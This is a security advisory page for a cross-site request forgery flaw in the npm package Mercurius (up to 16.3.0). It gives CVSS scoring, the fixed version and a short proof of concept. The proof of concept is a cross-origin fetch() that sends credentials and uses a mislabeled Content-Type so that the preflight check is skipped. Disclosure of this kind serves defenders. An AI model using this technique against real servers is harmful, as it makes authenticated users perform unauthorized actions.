GHSA-v66j-6wwf-jc57

Suggest an improvement
Source
https://github.com/advisories/GHSA-v66j-6wwf-jc57
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v66j-6wwf-jc57/GHSA-v66j-6wwf-jc57.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-v66j-6wwf-jc57
Aliases
Published
2026-03-05T18:18:01Z
Modified
2026-03-05T20:46:36.485530Z
Severity
  • 5.4 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N CVSS Calculator
Summary
Mercurius: Incorrect Content-Type parsing can lead to CSRF attack
Details

Summary

A Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the Content-Type header in requests. Specifically, requests with Content-Type values such as application/x-www-form-urlencoded, multipart/form-data, or text/plain could be misinterpreted as application/json. This misinterpretation bypasses the preflight checks performed by the fetch() API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.


Impact

An attacker could exploit this vulnerability by crafting a malicious request with a Content-Type that Fastify incorrectly parses as application/json. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.


Proof of Concept

// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');

const app = Fastify();
const schema = `
  type Query {
    hello(name: String): String
  }
`;

const resolvers = {
  Query: {
    hello: (_, { name }) => `Hello ${name || 'World'}!`
  }
};

app.register(mercurius, { schema, resolvers });

app.listen(3000, () => {
  console.log('Server listening on http://localhost:3000');
});
// Malicious client-side code
fetch('http://localhost:3000/graphql', {
  method: 'POST',
  body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  credentials: 'include'
});

In the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a Content-Type that Fastify incorrectly parses as application/json.


Mitigation

To address this vulnerability, CSRF protection has been implemented.

References

  • https://github.com/mercurius-js/mercurius/pull/1187
Database specific
{
    "github_reviewed_at": "2026-03-05T18:18:01Z",
    "nvd_published_at": "2026-03-05T16:16:11Z",
    "cwe_ids": [
        "CWE-352"
    ],
    "severity": "MODERATE",
    "github_reviewed": true
}
References

Affected packages

npm / mercurius

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
16.4.0

Database specific

last_known_affected_version_range
"<= 16.3.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v66j-6wwf-jc57/GHSA-v66j-6wwf-jc57.json"